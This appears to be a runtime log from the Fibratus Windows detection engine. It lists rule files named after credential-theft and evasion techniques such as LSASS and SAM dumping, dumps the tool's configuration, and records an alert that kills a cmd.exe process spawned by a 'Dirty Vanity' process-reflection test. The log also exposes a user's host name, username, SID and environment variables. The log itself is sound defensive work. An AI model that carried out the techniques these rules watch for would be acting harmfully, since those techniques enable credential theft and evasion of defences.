C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T20:25:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_child_spawned_via_reflected_process.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T20:25:38+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T20:25:38+01:00 level=info msg=bootstrapping with pid 4152. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T20:25:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-dns=>false enable-thread=>true stack-enrichment=>true enable-handle=>false max-buffers=>36 enable-vamap=>true enable-threadpool=>false enable-registry=>true flush-interval=>1s enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-fileio=>true enable-mem=>false enable-net=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info formatter=>text max-backups=>15 log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck=>true trace-log=>false timeout=>5s index-name=>fibratus gzip-compression=>false flush-period=>1s servers=>[http://127.0.0.1:9200] bulk-workers=>1 enabled=>false healthcheck-timeout=>5s healthcheck-interval=>10s template-name=>fibratus sniff=>false] amqp=>[ exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s passive=>false vhost=>/ enabled=>false exchange=>fibratus routing-key=>fibratus durable=>false delivery-mode=>transient tls-insecure-skip-verify=>false] http=>[ serializer=>json timeout=>5s tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false endpoints=>[] method=>POST] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s enabled=>false excluded-procs=>[] skip-allocs=>false excluded-files=>[] skip-registry=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-12T20:25:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T20:25:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T20:26:02+01:00 level=info msg=sending alert: [Suspicious child spawned via reflected process]. Text: Suspicious child process C:\Windows\System32\cmd.exe spawned via clone process C:\WINDOWS\regedit.exe + Event(s): + Seq: 4903637 + Pid: 17484 + Tid: 19604 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 20:26:01.0964139 +0100 CET + Params: cmdline➜ "C:\WINDOWS\regedit.exe" , directory_table_base➜ 1be77a000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\regedit.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506ef36a080, name➜ regedit.exe, pid➜ 2060, ppid➜ 17484, real_ppid➜ 17484, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 20:26:01.09629 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0005, rule.seq.link: 8364310623755960320, rule.name: Suspicious child spawned via reflected process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 17484 + Ppid: 4496 + Name: regedit.exe + Parent name: explorer.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 4903820 + Pid: 2060 + Tid: 10712 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 20:26:01.1119462 +0100 CET + Params: cmdline➜ \??\C:\Windows\System32\cmd.exe /k msg * Hello from Dirty Vanity, directory_table_base➜ 559c5000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506fde8e080, name➜ cmd.exe, pid➜ 19680, ppid➜ 2060, real_ppid➜ 2060, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 20:26:01.110885 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.seq.link: 8364310623755960320, rule.name: Suspicious child spawned via reflected process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 2060 + Ppid: 17484 + Name: regedit.exe + Parent name: regedit.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Parent cmdline: "C:\WINDOWS\regedit.exe" + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T20:26:02+01:00 level=info msg=executing kill action: pids=[2060 19680] rule=Suspicious child spawned via reflected process source=rules/engine.go:294 +time=2025-11-12T20:27:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T20:27:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T20:27:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-13T17:00:14+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-13T17:00:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml 